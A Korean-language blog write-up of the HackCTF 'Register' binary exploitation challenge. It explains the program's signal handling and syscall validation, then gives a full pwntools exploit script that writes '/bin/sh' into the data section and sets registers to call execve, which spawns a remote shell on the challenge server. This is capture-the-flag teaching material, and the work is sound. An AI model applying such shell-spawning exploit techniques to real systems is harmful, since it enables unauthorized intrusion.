상세 컨텐츠

본문 제목

[HackCTF] Register

SYSTEM HACKING/HackCTF

by koharin 2020. 2. 10. 00:40

본문

728x90
반응형

# description

 

register라면 등록하다 또는 CPU 레지스터로 해석해볼 수 있다.

이 문제의 경우, CPU 레지스터를 사용한 sysROP 문제이다.

 


# Protection Tech

 

 


# 정리

 

** 주요 시그널 처리 함수들 **


signal(sig, handler) : signal 14가 발생하면 handler 포인터를 반환한다.

raise(sig) : raise() 함수는 프로세스가 자기자신에게 신호를 보낼 때 쓰이는 함수이다. 따라서 프로세스는 signal 14를 자기 자신에게 보낸다.

alarm(sec) : 지정한 시간이 되면 자기자신에게 SIGALRM 시그널을 전송한다. 프로세스는 SIGALRM을 받으면 종료한다.

sleep(sec) : 지정한 시간 동안 대기 상태가 된다. 지정한 시간이 경과되었거나 시그널을 수신하면 대기에서 풀린다.


SIGALRM에 해당하는 signal 번호는 14이다.

따라서 alarm(sec)에서 지정한 초가 지나면 SIGALRM 시그널(signal 14)를 자기자신에게 전송한다.

즉 syscall을 한다.

 


# code

 

main() 함수

 

- alarm(5) : 5초가 지나면 자기자신에 SIGALRM을 전송한다. 이 SIGALRM에 해당하는 signal 번호는 14이다.

 

build() 함수

 

 

- signal(14, handler) : 시그널 14가 발생하면 handler가 반환된다.

main 함수에서 alarm(5)로 시그널 14가 발생했었다.

따라서 handler가 반환될 것이다.

 

handler 함수는 exec_syscall_obj 함수를 호출한다.

 

 

exec_syscall_obj 함수는 syscall을 호출한다.

 

- get_obj() 함수에서는 각 레지스터에 값을 넣을 수 있다.

while문으로 주어진 조건이 만족할 동안 계속 입력받는다.

 

 

test eax, eax : validate_syscall_obj 함수의 리턴 값이 0인지 아닌지 확인한다.

test는 두 값을 AND 연산하는데 연산 결과를 따로 저장하지 않고 0인 경우 ZF = 1이 된다. (ZF : ZeroFlag)

 

jnz 시 loc_400ad4로 점프하는데 점프하면 또 loc_400a5f로 점프한다.

 

 

loc_400a5f는 다시 build 함수의 레지스터 입력받는 반복문 부분이다.

 

- validate_syscall_obj() 함수에서는 v0 값을 인자로 넘기는데, v0는 rax 레지스터에 해당한다.

 

 

(rax를 obj에 넣어주는 것으로 알 수 있다.)

 

 

 

rax 값이 2보다 큰데 60이 아닐 경우 return 1을 한다. => execve의 signal id에 해당하는 59는 안 됨.

rax 값이 0일 경우 : v2 = 0으로 return 0을 한다.

 

while문 조건이 거짓이면 raise(14)로 프로세스 자기자신에 signal 14를 보낸다.

 


# process

 

 

1. read(0, data, 10)

 : 쓸 수 있는 영역인 data 영역에 "/bin/sh"을 적는다.

 

(일반적으로 사용하는 bss 섹션은 사용 중이라 data 영역을 사용한다.)

 

레지스터는 "/bin/sh"을 값으로 가질 수 없고 포인터를 가질 수 있다.

따라서 "/bin/sh"가 적힌 주소 값을 레지스터 값으로 줘야 한다.

 

rax = 0

rdi = 0

rsi = data

rdx = 10

rcx = 0

r8 = 0

r9 = 0

 

 

2. sysROP 진행

 

rax에 59 값을 줘서 execve를 syscall로 호출한다.

그리고 execve("/bin/sh", NULL, NULL)을 진행해야 하므로 각 rdi, rsi, rdx 레지스터에 적절한 값을 넣어준다.

나머지 사용하지 않는 레지스터에는 0 값을 넣어준다.

 

rax = 0x3b ( execve의 syscall id)

rdi = data ("/bin/sh" 적혀있음)

rsi = 0

rdx = 0

rcx = 0

r8 = 0

r9 = 0

 

while문 조건에서 함수의 리턴 값이 1이면 raise(14)를 하지 못하고 반복하게 된다.

이때 사용하는 rax 값인 59는 위의 경우에 해당한다.

따라서 rax가 59인 경우에는 따로 signal을 보내줘야 한다.

 

sleep() 함수를 사용하면 지정된 시간이 지나면 시그널을 보내므로 sleep() 함수를 사용한다.

 


# exploit code

 

 

#!/usr/bin/python                                                                      
from pwn import *

#p = process("./register")
p = remote("ctf.j0n9hyun.xyz", 3026)
elf = ELF("./register")
data = 0x601068
binsh = "/bin/sh\x00"

def register(rax, rdi, rsi, rdx):
    p.sendlineafter(": ", str(rax))
    p.sendlineafter(": ", str(rdi))
    p.sendlineafter(": ", str(rsi))
    p.sendlineafter(": ", str(rdx))
    p.sendlineafter(": ", str(0))
    p.sendlineafter(": ", str(0))
    p.sendlineafter(": ", str(0))


register(0, 0, data, 10)
p.send(binsh)
register(0x3b, data, 0, 0)
sleep(5)

p.interactive()

 

 

# exploit

 

 


 

 

 

 

 

 

 

 

 

 

 

 

 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] babyheap  (0) 2020.03.09
[HackCTF] 풍수지리설  (0) 2020.02.28
[HackCTF] RTC  (0) 2020.02.03
[HackCTF] You are silver  (0) 2020.01.31
[HackCTF] Look at me (sysrop)  (0) 2020.01.31

관련글 더보기